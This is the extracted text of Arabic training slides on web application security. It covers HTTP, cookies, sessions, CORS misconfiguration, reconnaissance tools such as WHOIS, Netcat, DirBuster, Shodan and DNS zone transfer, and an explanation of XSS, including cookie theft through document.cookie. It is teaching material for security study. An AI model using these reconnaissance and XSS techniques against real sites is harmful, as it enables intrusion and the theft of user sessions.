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)الجانب الاكادیمي(نبدة عن المؤلف 

 لىع الاول(  الشرف مرتبة مع بإمتیاز الحاسبات ھندسة تخصص حلوان جامعة الھندسة كلیة من تخرج•
م 2012 سنة )الدفعة

 م 2018 سنة حتى و م 2013 سنة من حلوان جامعة الھندسة بكلیة كمعید عمل•
 الفترة من حلوان جامعة الھندسة كلیة الحاسوب ھندسة  تخصص الھندسة يف الماجیستیر درجة  على حاصل•

م 2015 حتى و م 2013
 باتالحاس و النظم ھندسة قسم الازھر جامعة الھندسة كلیة من  العلوم في الماجیستیر  درجة على حاصل•

 م 2021 حتى و م 2019 الفترة من المعلومات أمن تخصص
	مثل عالمیة مجلات فى منشورة المعلومات أمن مجال فى عدیدة اكادیمیة علمیة لابحاث  مراجع و مؤلف•

IEEE	Access,	IJITEE وEIJ المجلات من غیرھا و
Wireless“ بعنوان دولیا منشور كتاب مؤلف• Penetration Testing Up and Running"
 في الدولیة الأعمال أكادیمیة  و  بكرواتیا فیرن جامعة من الاعمال إدارة فى دكتوراه درجة على حاصل•

م 2023 حتى و م 2021 الفترة من سویسرا
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)الجانب التقني(نبدة عن المؤلف 

Development	Link	بشركة الویب تطبیقات أمن كمھندس عمل•
Nile.com	بشركة الشبكات أمن كمھندس عمل•
Tanmeyah	بشركة المعلومات أمن فریق كقائد عمل•
Summit بشركة معلومات أمن كإستشارى عمل• Technology Solutions
للنشر مصر نھضة شركات بمجموعة المعلومات أمن قسم كرئیس عمل•
 حلوان بجامعة الرقمي التحول و المعلومات أمن كإستشارى یعمل•
غیرھا من الشھاداتو 	v10	ECSAو  	LA	27001	ISOحاصل على شھادات تقنیة عالمیة مثل •
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المقدمة

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي/ م.د

استشارى أمن المعلومات و التحول الرقمي
Ahmed.Hashem.ElFiky@outlook.com



:محتویات ھذا الفصل

HTTP/Sاساسیات بروتوكول •
Encodingفھم  الترمیز •
Policy	Origin	Sameفھم سیاسة نفس الاصل •
Cookiesفھم ال •
Sessionفھم ال •
Proxies	Application	Webفھم •
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HTTP/Sأساسیات بروتوكول 

Hyper لكلمة اختصار ھو HTTP ال بروتوكول• Test Transfer Protocol
الانترنت او الویب على للتصفح اساسى برتوكول وھو•
Client-Server  عن عبارة ھو و• Protocol ال او المستخدم یطلب حیث  Client صفحة 

 ھذا یقوم و Serverال او الخادم على من الرد یاتى ثم المتصفح على من الویب
 و الخادم و مالمستخد بین الاتصال فى یستخدم فھو المتصفح على بعرضھا للبروتوكول

 بینھما )requests/responses( الرسائل تبادل
HTTP  یتكون• Request من مجموعة من  Headers ال وMessage Bodyوضح كما 

 من Enter  ضربة تساوى )r\n\(  حیث             :التالى بالشكل
الكیبورد
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....)تكلمة( HTTP/Sأساسیات بروتوكول 

الى الخادم كما  Parameterتتألف من كذا  Headersالمتصفح یرسل من مجموعة ال •
: بالشكل الاتى
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....)تكلمة( HTTP/Sأساسیات بروتوكول 

Request  ھوال Parameter  أولف• method كلمة السابق المثال فى وھو  GET تعنى التى 
Request  من اخرى انواع یوجد كما .الخادم من ما شئ على الحصول یرید المستخدم ان

Method مثل POST, PUT, DELETE, OPTIONS, TRACE غیرھما و 

(/) السابق المثال فى ھو و الخادم  من تریده التى المسار اى Path ال ھو Parameter ثانى•

HTTP/1.1 السابق المثال فى وھو المستخدم البروتوكول ھو Parameter ثالث•
 +   website  عنوان ملحوظة . تریده الى website  عنوان اى Host  ال ھو وParameterرابع•

Path( = Full( المسار URL
  version  وال المتصفح اسم على یحتوى حیث User-Agent  ال وھو Parameter  خامس•

 التشغیل نظام و Firefox  المتصفح اسم السابق المثال فى ھو و التشغیل نظام نوعو بھ الخاص
windows
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....)تكلمة( HTTP/Sأساسیات بروتوكول 

 عترج سوف التى الملفات نوع المتصفح یحدد ھنا و Accept  ال ھو Parameter  سادس•
 یقومس التى الملفات نوع السابق المثال فى ھو و للمستخدم بعرضھا یقوم ثم الخادم من

HTML بعرضھا
 الملفات ضغط نوع المتصفح یحدد ھنا و Accept-Encoding  ال ھو Parameter  سابع•

 الضغط فكب المتصفح یقوم ثم للمعلومات فقدان بدون الخادم من رجعی  سوف الذى و المقبول
 نم المقبول الملفات ضغط نوع السابق المثال فى ھو و للمستخدم الملفات عرض و

gzip ھو المتصفح
 بین الاتصال على للحفاظ یستخدم وھو  Connection  ال ھو  Parameter  ثامن•

 بدلا السابق المثال فى ھو كما Keep-alive  كلمة استخدم لو طویل لوقت الخادم و المستخدم
 بوتوكول فى الحال فى ھو كما مره كل الخادم و المستخدم بین جدید اتصال إنشأ من

HTTP 1.0
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....)تكلمة( HTTP/Sأساسیات بروتوكول 

تتألف من كذا سطر الى المتصفح كما بالشكل  Headersالخادم یرسل من مجموعة ال •
: الاتى
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....)تكلمة( HTTP/Sأساسیات بروتوكول 

Status  ال ھو سطر أول ف• line ال و المستخدم البرتوكول من یتكون حیث  version 
Status  ب یعرف ما او الرد كود ثم بھ الخاص Code كما الكود لھذا المراد المعنى ثم 
:الاتى الجدول فى لھا المراد المعنى و الاكواد بعض موضح

المعنى المراد كود الرد

الذى طلبتھ موجودان المصدر 200

انتقلھ للینك جدید مصدر الذى طلبتھ تمالان
بشكل دائم

301

انتقلھ للینك جدید ان المصدر الذى طلبتھ تم
بشكل مؤقت

302

الصلاحیات الكافیھ ان المستخدم لا یمتلك
للحصول على ھذا المصدر من الخادم 

403

الذى یطلبھ ان الخادم لا یحتوى على ھذا المصدر
المستخدم

404

المطلوب من المستخدم ان الخادم لا یدعم الطلب 500
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....)تكلمة( HTTP/Sأساسیات بروتوكول 
 الذى الرد او للرسالة الوقت و التاریخ یعرض ھو و Date  ال او التاریخ ھو سطر ثانى•

 المستخدم طلب على الخادم ناحیة من انشأت
 ةالموافق على الخادم و المتصفح من لكل یسمح حیث Cache-control  ال ھو سطر ثالث •

 :التالى الجدول فى كما Caching ال قواعد بعض على

المعنى المراد Caching Rule
یحدد ھذا الامر على انھ یجب التحقق من أى محتوى مخزن مؤقتا عند 

كل طلب قبل تقدیمھ الى العمیل
no-cache

ھذا الامر الى انھ لا یمكن التخرین المؤقت للمحتوى بأى یشیر
طریقة

no-store

نوع المحتوى على انھ عام مما یعنى انھ یمكن یقوم ھذا الامر بتحدید
التخزین المؤقت لھ من قبل المتصفح او من قبل اى تخزینات 

مؤقتھ وسیطة 

public

نوع المحتوى على انھ خاص مما یعنى انھ یمكن یقوم ھذا الامر بتحدید
التخزین المؤقت لھ من قبل المتصفح فقط

Private

الزمنیة التى یمكن من خلالھا التخزین المؤقت فترة اقصى max-age
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....)تكلمة( HTTP/Sأساسیات بروتوكول 

 بال مىیس ما او المستخدم متصفح على یعرض سوف الذى المحتوى نوع ال ھو سطر رابع•
Content-type

 المرسلة للرسالة المقبول الضغط نوع یوضح Content-Encoding  ال ھو سطر خامس•
gzip ھو الضغط نوع كان السابق مثالنا فى حیث للمتصفح الخادم من

 ھو السابق مثالنا فى و الخادم عن معلومات یعرض حیث Server  ال ھو سطر سادس•
gws او Google Web Server

 الوحدة و Content-Length  باسم یعرف ما او الرسالة او المحتوى طول ھو سطر سابع•
byte ال ھى المستخدمة

  خدمالمست على للعرض المتصفح الى الخادم من المرسلة الرسالة محتوى ھو سطر ثامن•
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HTTPSو بروتوكول  HTTPالفرق بین بروتوكول 

شفیر ترسل البیانات بین المتصفح و الخادم او العكس بدون ت HTTPبالنسبة لبروتوكول ال •
كل ترسل البیانات بین المتصفح و الخادم او العكس بش HTTPSاما بالنسبة لبرتوكول ال •

SSL/TLSمشفر یصعب فھمھ حیث تستخدم طبقة للشفیر اسمھا 
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او ما یعرف بالترمیز  Encodingفھم ال 
 ریقةبط معھا التعامل مختلفة أنظمة بإمكان لیصبح  بیانات  تحویل إلى الترمیز ھدفی•

 حروف  عرض أو إلكتروني برید في تنفیذیة ملفات إرسال :المثال سبیل  على .صحیحة
Charactersأكدالت بل سریةّ المعلومة إبقاءَ  ھنا الغرض لیس  .ویب صفحة على خاصّة 

.الأمثل النحو على سیكون معھا التعامل أن من
 عكسُ  تاليبال ویمكن  للعموم متاحة  بآلیة أخرى إلى صیغة من البیانات الترمیز یحوّل•

 إذ معھا، عاملالت یمكن حتى سري لمفتاح ترمیزھا بعد البیانات تحتاج لا .بسھولة التحویل
 فیھ المستخدمةAlgorithm الخوارزمیة ھو الترمیز فك لیمكنَ  الوحید المطلوب أن

 Base64 وURL و Unicode و ASCII :أمثلة•
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Policy	Origin	Sameفھم سیاسة نفس الاصل 

 لواحدا  الموقع صفحات على فقط تعمل ان  النصیة للأكواد تسمح السیاسة ھذه :1  تعریف•
  المنفذ ورقم المضیف واسم البرتوكول نوع طریق عن یتحدد والموقع

 یقرأ  بأنھ B  الموقع تمنع وظیفتھا المتصفحات كل في متواجدة حمایة ھو :2  تعریف•
Response Data موقع  A بین الثلاث الشروط تتطابق لم  اذا  A و  B اسم(  وھي 

)المستخدم البرتوكول نوع/الدومین منفذ او بورت/الدومین
 اسمة الثانى و  com.Boom//:https  اسمة الاول موقعین لدینا :مثال•

com.Null//:https موقع ان حیث  com.Null على یحتوى  API استخراج وظیفتھ 
 سوف المتصفح ھل نشوف تعالوا إذن  Boom.com  لموقع ارسالھا و العمیل معلومات

 لن و ابقةالس الثلاثة الشروط تطابقت إذا حالة فى بذلك یسمح سوف انھ حیث بذلك یسمح
 السابقة الثلاثة الشروط من واحد اى تطابق لم إذا یسمح
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...)تكملھ( Policy	Origin	Sameفھم سیاسة نفس الاصل 

 للمبرمج عائق یقف  سوف SOP  بحمایة فالمتصفح یتطابق لم )الموقع  اسم(  ان للأسف•
 معرفة Boom.comموقع یرید ان ویحتاج  حیرة في المبرمج حالیا !!  (:  المسكین
Null.comال من العمیل معلومات (API) مایسمى دور یأتي ھنا ؟! الحل فما CORS 

•CORS لكلمة اختصار ھى Cross-Origin Resource Sharing 
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...)تكملھ( Policy	Origin	Sameفھم سیاسة نفس الاصل 
Response  وقراءة تمریر ورفض السماح عن المسؤول ھو CORS  تعریف• data بین 

B وموقع A موقع
 عن عبارة بالواقع  ھو CORSال  حیث SOP  شرح جزئیة في عنده ماتوقفنا لنكمل•

Headers Response موقع یستطیع  ان أجل  فمنBoom.com اخذ  من  Response
Data موقع منNull.com (API) بعض فیھ  ان  نعرف ان لازم  Headers Response 

Null.com موقع في تعیینھا یتم لازم
 وضعھ یتم سوف Access-Control-Allow-Origin  اسمھHeader  Response  اول•

 یسمحالذى الموقع اسم فیھ نضع حیث Null.com  بموقع الخاصHeadersال ضمن
com.Boom//:https مثالنا فى ھو و منھ معلومات بأخذcom.Null  لھ

Response  ثانى• Header اسمھ  Access-Control-Allow-Credentials ھو و 
 من المعلومات بأخذ Boom.com  للموقع نسمح نناإف True  كانت فإذاTrue/Falseقیمتھ
 المعلومات بأخذ Boom.com  للموقع نسمح لن فإننا  False  كانت إذا و Null.com  موقع

Null.com موقع من
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...)تكملھ( Policy	Origin	Sameفھم سیاسة نفس الاصل 
 موقع یرید حیثGETنوع من Request  شكل ده المثال سبیل على•

platform.twitter.com موقع من معلومات بأخذ  Syndication.twitter.comحیث 
 الموقع لھ یسمح فھل Origin  اسمھ parameter  فى المعلومات یاخذ الذى الموقع وضع تم

Syndication ال نشوف تعالو بذلك Response
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...)تكملھ( Policy	Origin	Sameفھم سیاسة نفس الاصل 
 ان platform.twitter.com  لموقع Syndication.twitter.com  موقع سمح بالفعل•

الاصفر باللون المظلالھ المعلومات ھذه یأخذ
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CORS	Misconfiguredثغرة 

مال للأسف الشدید مع كل تلك الحمایات والأسالیب المعقدة من اجل رفع مستوى أمان أع•
سحب معلومات  المبرمج في الویب الا أن المبرمج یتسبب بنفسھ بثغرة خطیرة قد تسبب الى

ان تكون  مستخدمي موقعھ او تطبیقھ او عملاءه ویفقد سمعتھ في الخصوصیة وأشیاء ممكن
أخطرأخطر 

بحیث 	CORSعدم علم او معرفة كافیة للمبرمج عن حمایة : سبب حدوث ھذه الثغرة •
مباشرةیسمح لأي موقع ویقوم بتمریر البیانات لھ 

الضحیةتسبب الثغرة الى سحب معلومات حساسة بدون أذن : خطورة الثغرة •
CWE-942: الثغرة رقم •
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	Cookiesفھم ال
ً  زیاراتھا یتم عندما الویب، مواقع معظم تضع•  خاصال الصلب القرص على صغیراً  ملفا

 ھي الكوكیز وملفات		،(Cookie(  "كوكي"  یسمى الملف ھذا ،)المتصفح(  الزائر بجھاز
 برمجیة شفرات أو برامج لیست أنھا اذ نصیة، ملفات عن عبارة

 كان إذا خاصة أحیاناً، مفید وھو عنك، المعلومات بعض جمع إلى الكوكي ھذا  ویھدف•
 كل يف تضطر لن الحالة ھذه ففي .بزیارتھ تخولك مرور كلمة إدخال منك یتطلب الموقع
 الذي ،"كيالكو"  طریق عن بنفسھ اكتشافھا من الموقع سیتمكن إذ الكلمة، تلك لإدخال زیارة

 هھذ تحتوي أخر بمعنى زیارة اول من وذلك الجھاز في الصلب القرص على وضعھ تم
 عند ایسترجعھ أن أودعھا الذي للموقع تتیح معلومات على )الكوكیز(  النصیة الملفات
للموقع المقبلة زیارتكم عند أي الحاجة،

Response  ال ضمن  المتصفح على الرد رسالة فى Cookieال ارسال یتم حیث•
Headers 
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...)تكملھ ( 	Cookiesفھم ال

 ھى الحقول من مجموعة منCookieال یتكون•
•1- Domain ال منھ جاء الذى الدومین اسم یحدد ھو Cookie للمتصفح
•2-  Path ال استخدام یحدد و الدومین فى المستخدم المسار ھوCookieانھى فى بالتحدید 

مسار
•3- Content ال قیمة ھو Cookie شكل على ھى و name=value
•4- Expires ال استخدامانتھاء وقت یحدد ھوCookie
•5-  HTTP Only Flag ال ارسال على المتصفح یجبر ھوCookieبرتوكول خلال  HTTP 

,JS بواسطة قرائتھا من یمنع حیث Flash ,Java غیر تكنولوجى اى او HTML
•6- Secure Flag ال ان معناه Cookie بروتوكول خلال من مشفرة ترسل سوف HTTPS 
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مثال ...)تكملھ ( 	Cookiesفھم ال
Request

Response
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مثال ...)تكملھ ( 	Cookiesفھم ال
Another	Request	with	valid	Cookie
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Correct	Cookie	Installation	Examples
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Incorrect	Cookie	Installation	Examples
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	Sessionفھم ال
 معرفة یمكنھ  لاHTTP  الـ بروتوكول فإن معین موقع في أخرى إلى صفحة من الانتقال عند•

لا أم الشخص نفس قبل من تصفحھا تم قد الصفحات تلك أن
 ما فإذا ،  )الخادم و المستخدم بین(التواصل  ذلك لعمل آلیة لنا یوفر  لاHTTP  الـ أن  حیث•

 لاف ذلك عند ینتھي و أراد ما بإعطائھ یقوم الخادم فإن الخادم من صفحة المستخدم طلب
 ھو لیس أو المستخدم نفس ھو كان إن یعرف

 الترابط على للحفاظ  Session  ال و سابقا ذكرنا كما Cookies  ال تقنیة  إنشاء تم ذلك  لأجل•
 الخادم و المستخدم بین

 عند تخزینھا یتم Cookie  ال عكس على الخادم عند Session  ال تخزین یتم حیث•
المستخدم المتصفح

Session مستخدم لكل ان حیث• Id/Token
Cookieال انتھاء من اسرع Session ال انتھاء وقت•

Ahmed	Hashem	El	Fiky



...)تكملھ (	Sessionفھم ال

Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Proxies	Application	Webأمثلة على 

Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Proxy	Interceptالادوات المستخدمة ك 

BurpSuiteاداة ال •
ZAPاداة ال •

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء المقدمة 

Ahmed	Hashem	El	Fiky



الفصل الاول 
جمع معلومات عن الھدف

Ahmed	Hashem	El	Fiky

المؤلف

أحمد ھاشم الفقي /م.د
المعلومات و التحول الرقمياستشارى أمن 

comoutlook.ElFiky@Hashem.Ahmed.



:محتویات ھذا الفصل

دفما ھى أنواع المعلومات التى نسعى لمعرفتھا عن الھ•
Tool	WHOISفھم ال •
DNSفھم ال •
Tool	nslookupفھم ال •
Netcraftفھم موقع •
Tool	Netcatفھم ال•
Tool	WhatWebفھم ال •
Tool	Wappalyzerفھم ال •
Operators	Search	Googleفھم ال •

Tool	dnsreconفھم ال •
Tool	subbruteفھم ال •
Tool	theHarvestarفھم ال •
	Zone	DNSفھم مصطلح •

Transfer
	Tool	fierceفھم ال•
Tool	DirBusterفھم ال •
HQ	Shodanفھم موقع •
للھدف Graph	Functionalبناء •

Ahmed	Hashem	El	Fiky



ما ھى أنواع المعلومات التى نسعى لمعرفتھا عن الھدف

نسعى لمعرفة بعض المعلومات عن الھدف و منھا •
)…	,Database	CMS,	server,	Web(مثلا  Infrastructureمعلومات عن ال •
اى كیفیة عمل الھدف Logic	Applicationمعلومات عن ال •
SubDomains	and	Domains	IPs,معلومات عن ال •
hosts	Virtualمعلومات عن ال •

Ahmed	Hashem	El	Fiky



Tool	WHOISفھم ال 

.للھدف من قواعد بیانات مختلفة ownershipتبحث عن تفاصیل  WHOISاداة ال •

	Web-Basedاو فى شكل Command-Basedتوجد ھذه الاداة فى شكل •

Ahmed	Hashem	El	Fiky



...)تكملة( Tool	WHOISفھم ال 

Ahmed	Hashem	El	Fiky



DNSفھم ال 
•DNS	 ھو اختصار لمصطلحDomain	Name	Service	 أوDomain	Name	System،	

).خاصة بكأي لشركة الاستضافة ال(و یستخدم لربط اسم الدومین الخاص بك لسرفر معین 

 متصفحات ھنا ھي تحویل اسم النطاق أو الدومین الذي یكتبھ الزائر في	DNSوظیفة •
.یستطیع الكمبیوتر التعامل والاستجابة لھ	Address	IP، إلى الإنترنت

في جزء من الثانیة بمطابقة اسم 	DNSفي المتصفح، یقوم  اسم النطاق كلما قام أحدھم بكتابة•
قع ومن ثم یقوم بجلب البیانات أو تحمیل المو الخاص بالموقع،	Address	IPالدومین مع 

.من السرفر الخاص المخزن علیھ بیانات الموقع

Ahmed	Hashem	El	Fiky



...)تكملھ( DNSفھم ال 

:منھا Recordsمن عدة  DNSیتكون ال •

•A	record
.المستضیف لموقعكالخاص بالخادم  IPیقوم بتوجیھ اسم النطاق إلى عنوان •

•NS	record
.یشیر إلى اسم الخادم المستضیف لموقعك •

•CNAME	record
یحمل  	domain.comمثلا لدیك اسم نطاق . یستخدم لإنشاء أسماء مستعارة لإسم النطاق الخاص بك•

CNAMEباستخدام  	web.domain.comالموقع الإلكتروني، یمكن عمل اسم نطاق فرعي منھ مثل  

•PTR	record
Domainالى اسم ال  	address	IPترجمة ال •

Ahmed	Hashem	El	Fiky



...)تكملھ( DNSفھم ال 
•MX	record

إلي خادم البرید للاشارة  	record	MXتعیینوھو المسؤول عن توجیھ البرید الالكتروني حیث یتم •
المثاللكتروني علي سبیل لاا
 mail.example.com

•

Ahmed	Hashem	El	Fiky



Tool	nslookupفھم ال 

و العكس address	IPالى  name	hostھى اداة تستخدم لترجمة •

Ahmed	Hashem	El	Fiky



...)تكملة( Tool	nslookupفھم ال 

Ahmed	Hashem	El	Fiky



...)تكملة( Tool	nslookupفھم ال 

Ahmed	Hashem	El	Fiky



...)تكملة( Tool	nslookupفھم ال 

Ahmed	Hashem	El	Fiky



Tool	Netcraftفھم ال 
وغیرھا من  nslookup	and	WHOISھى اداة غنیة بالمعلومات تستخدم كبدیل للادوات •

المعلومات الھامة 

Ahmed	Hashem	El	Fiky



...)تكملھ( Tool	Netcraftفھم ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Tool	Netcraftفھم ال 

Ahmed	Hashem	El	Fiky



Tool	Netcatفھم ال 

Ahmed	Hashem	El	Fiky

NetCat	 ھي أداةUnix	 بسیطة جداً یمكنھا قراءة وكتابة اتصالات شبكةTCP	 أوUDP	 تم
ى الكشف ھنا سوف نستخدمھا ف. وبسھولةكأداة خلفیة موثوقة یمكن تشغیلھا مباشرة تصمیمھا 

. عن نوع الخادم



...)تكملة( Tool	Netcatفھم ال 

Ahmed	Hashem	El	Fiky



...)تكملة( Tool	Netcatفھم ال 

Ahmed	Hashem	El	Fiky



WhatWebفھم أداة ال 

.او الخادم  Serverھى أداة تستخدم ایضا لمعرفة نوع ال •

Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky

و  تستخدم لمعرفة نوع الخادم و لغات البرمجة المستخدمة 	Firefoxھى إضافة فى متصفح ال •
معلومات اخرى

Wappalyzerفھم أداة ال 



Ahmed	Hashem	El	Fiky

.تستخدم فى موقع جوجل للبحث بشكل اسرع و ادق 	Parametersھى •

Operators	Search	Googleفھم أداة ال 



Ahmed	Hashem	El	Fiky

...)تكملھ ( Operators	Search	Googleفھم أداة ال 



Ahmed	Hashem	El	Fiky

...)تكملھ ( Operators	Search	Googleفھم أداة ال 



Ahmed	Hashem	El	Fiky

...)تكملھ ( Operators	Search	Googleفھم أداة ال 



Tool	dnsreconفھم ال 

للھدف SubDomainsھذه الاداة تستخدم للبحث عن ال •

Ahmed	Hashem	El	Fiky



Tool	subbruteفھم ال 
للھدف SubDomainsھذه الاداة تستخدم للبحث عن ال •

Ahmed	Hashem	El	Fiky



Tool	theHarvestarفھم ال 

للھدف SubDomainsھذه الاداة تستخدم للبحث عن ال •

Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Transfer	Zone	DNSفھم مصطلح 

Ahmed	Hashem	El	Fiky

	DNSالى  1	Server	DNSیقصد بھذا المصطلح تمریر نسخة من قاعدة البیانات الخاصة ب •
Server	2.



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



	Hosts	Virtualفھم ال
Virtual	Hosts	=	Shared	Hosting	Environment

 host/ واحد یحمل اكثر من موقع  address	IPحیث الخادم الذى لھ •

Ahmed	Hashem	El	Fiky



Fierceفھم أداة ال 

Ahmed	Hashem	El	Fiky

	Virtualخدم ھذه الاداة لمعرفة ال تتس•
Hosts  اللى على نفس الIP	address



Tool	DirBusterفھم ال 

.ھى أداة تستخدم لاكتشاف الملفات المخیة فى الموقع•

Ahmed	Hashem	El	Fiky



HQ	Shodanفھم موقع 

المفتوحة علیة و  Portsھو موقع یستخدم لجمع المعلومات عن الھدف من نوع الخادم و ال •
.غیرھا من المعلومات الھامة

Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



للھدف Graph	Functionalبناء 

Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



Ahmed	Hashem	El	Fiky



تم بحمد ] انتھاء الفصل الاول

Ahmed	Hashem	El	Fiky



الفصل الثانى 
XSSثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

المعلومات و التحول الرقمياستشارى أمن 
comoutlook.ElFiky@Hashem.Ahmed.



محتویات ھذا الفصل

XSSما ھي ثغرة •
XSSكیف تعمل ثغرة •
XSSانواع ثغرة •
اضرار الثغرة•
الثغرةالحمایة من •

Ahmed	Hashem	El	Fiky



XSSما ھي ثغرة 

 أوامر فیذبتن یقوم بسكریبت موقعك حقن عبر تتم والتي الویب على الھجمات أشھر من XSS  تعد•
 كریبتس عبر الضحایا لاصطیاد وسیلة إلى یتحول موقعك أن أي الزوار، حواسیب على خبیثة

java ال بلغة الاسكربت یكون ما غالبا و موقعك في المخترق یزرعھ script
 حایاالض إلى للعبور كجسر یستعملھ وإنما أولى، بدرجة موقعك المخترق یستھدف لا XSS  في•

.علیھم لھجومل موقعك زوار إلى خلالھا من یتسلل موقعك في ثغرة یستغل حیث یتصفحونھ، الذین
Cross ل اختصار ھي XSS و• Site Scripting،	شیئا؟ لاحظت ھل
ترى؟ یا فلماذا	،CSS یكون أن ینبغي الاختصار بینما XSS نقول•
X ب C حرف استبدال تم لذلك المعروفة، CSS الأنماط لغة وبین الثغرة مسمى بین نخلط لا حتى•

 تسمى لذلك		،X  ھیئة على ترسم وھي التقاطع شارة بالانجلیزیة تعني والتي Cross  على دلالة
Cross Site Scripting ب اختصارا XSS

Ahmed	Hashem	El	Fiky



XSSكیف تعمل ثغرة 
 تظھر التي الموقع صفحات لمحتوى تعدیل في خطورتھا  تكمن XSS  ثغرات نعلم كما•

Javascript  او HTML  اكواد حقن طریق عن ذلك و للمستخدم  بالضبط تقوم  كانك ,
 محرر برامح احد خلال من بالموقع  الخاصة javascript  و html  الـ ملفات على بالتعدیل
 عمل و الموقع صفحات تعدیل على المخترق  تساعد XSS  فثغرات.  الویب صفحات
 لسرقة لبعض یستغلھا كما ,  الدومین و الصفحة رابط بنفس الاحتفاظ مع مزورة صفحات

Sessions الـ او Cookies لثغرات استغلال اخطر یعد ھو و بالمستخدمین الخاصة XSS 
 مثل زالكوكی بینات قراءة تستطیع التي سكریبت جافا دالھ استخدام طریق عن ذلك  و

document.cookie  و  ً  اختراق  في XSS  الـ ثغرات أخرون ھاكرز یستخدم ایضا
Stored نوع من الثغرة كانت حال في الموقع صفحات Xss

 حةالصف تقوم و للصفحة مدخل بأرسل المستخدم یقوم عندما  تحدث XSS  ثغرات  ببساطة•
 دوال طریق عنHTML  في ھو كما مباشرة وعرضھ المستخدم من المدخل ھذا بأخذ

echo و print مثلا البرمجة
Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 

مثال بسیط جداً على ذلك صفحة تطلب من المستخدم إدخال اسمھ الشخصي•

Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 

و یدخل الیھا الاسم•
Aboul-ELa	Ahmed	Welcomeبعد ذلك تقوم بعرض الجملة •

Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 

یكون كالتالي 	code	htmlو اذا استعرضنا •

Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 
	htmlخاصة بالـ 	tagsلكن ماذا سوف یحدث اذا أدخلت للصفحة اسماً مصحوب بـ, جمیل •

مثلا ھذا الأسم
ببساطة سوف تكون النتیجة كالتالي•

Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 

ھذة المرة سوف یصبح كالتالي  	code	htmlو اذا قمنا باستعراض •

Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 

ً  الاسم كتابة فعند ,  بوضوح المشكلة لدینا تتضح الأن اذاً •  الخاصة tags  الـ بـ مصحوبا
 داكوا بترجمة قام لكنھ و الشخص اسم مجرد ھو ھذا انھ یفھم لم ھنا المتصفح htmlبالـ

html و فحةالص في الاسم شكل تغیر عندھا و المطلوب بالشكل بعرضة قام و الاسم في 
 و تخدمالمس من الاسم أخذت الصفحة ان في كانت كلھا المشكلة فان اذاً  .  أكبر بخط أصبح

HTML بالـ خاصة اكواد على یحتوى قد الاسم ان من تحقق اي دون مباشرة أظھرتھ

 لالمسؤو من و الصفحة في المستخدم من الاسم أخذ عن المسؤول من ھنا نحدد الأن دعونا•
html  في الأسم إظھار عن  دالھ ھي الاسم أخذ عن المسؤول فان الحالة ھذة في ,
$_POST برمجة لغة في php في الاسم إظھار عن المسؤول و html دالھ ھي echo

Ahmed	Hashem	El	Fiky



...)تكملھ( XSSكیف تعمل ثغرة 

Ahmed	Hashem	El	Fiky



XSSأنواع ثغرة 

•Reflected	XSS
•Stored	XSS
•DOM-based	XSS

Ahmed	Hashem	El	Fiky



XSS Reflectedكیف تعمل ثغرة 
 ئیسیینر نوعین عندنا الویب تطبیقات في :  مھمة نقطة اوضح ان احب الثغرة بشرح ابدا ما قبل•

: الثغرات من
•Server side
•Client side

 في المباشر الھدف بالتالي و server  ال على یشتغل راح exploitال الأولى الحالة في•
server ال ھو الإستغلال

المتصفح عن نتكلم ھنا حالتنا في client ال على یشتغل راح exploit ال الثانیة الحالة في•
Reflected  ال ثغرات• XSSثغرات ھي  client side ال یعني  exploit على یشتغل راح 

الزائر متصفح

Ahmed	Hashem	El	Fiky



...)تكملھ( XSS	Reflectedكیف تعمل ثغرة  

•Reflected XSSكذلك وتسمى  Non-persistent XSS،		المخترق یستغل حینما وتحدث 
 بإرسال ومفیق البیانات، قاعدة في السكریبت تخزین إلى الحاجة دون الموقع مدخلات إحدى
 ھذا رنش خلال من أو مثلا، إیمیل عبر الضحیة إلى ملغوم بسكریبت مدموجا الموقع رابط

 لرابطا على الضحیة یضغط وحینما میدیا، السوشیال مواقع على أو ما موقع على الرابط
 ما على مخترقال سیحصل وبالتالي معھ المدمج السكریبت تنفیذ وستم الموقع إلى بھ سیذھب
.أخرى بعملیات القیام أوKeyLogging خلال من أو Cookies سرقة عبر إما یشاء،

Ahmed	Hashem	El	Fiky



...)تكملھ( XSS Reflectedكیف تعمل ثغرة 
reflected ال حالة في• XSS التالي بالشكل بیكون الأحداث ترتیب : 
request ال یرسل و  المصاب input ال في exploit ال یدخل المھاجم -١• .
response ال یرسل بعدھا المدخلات مع یتعامل و requestال یستلم server ال-٢•
HTML,Javascript  فیھ یكون راح السیرفر من راجع اللي responseال-٣•  حسب الخ ...

  دخلنا لاننا javascript  ال من متأكدین حنا لكن responseال في الموجودة العناصر
javascript code ال في input المصاب.

javascript  ال یشتغل بعدھا و parsing  لھ یسوي و الكود یستلم راح المتصفح -٤• code اللي 
.المھاجم دخلھ

 لان reflected  تسمیتھا تمت كذا عشان و البیانات قاعدة في حفظ فیھا ما العملیة انھ نلاحظ•
 وھ حاصل فاللي البیانات قاعدة في ینحفظ ما بدون client  لل یرجع و serverلل یروح المدخل

 حیحةص فلترة فیھ یكون ما بدون ما بطریقة المدخل لھ یرجع السیرفر و مدخل یعطي المھاجم ان
.ھذي الثغرة تمنع

Ahmed	Hashem	El	Fiky



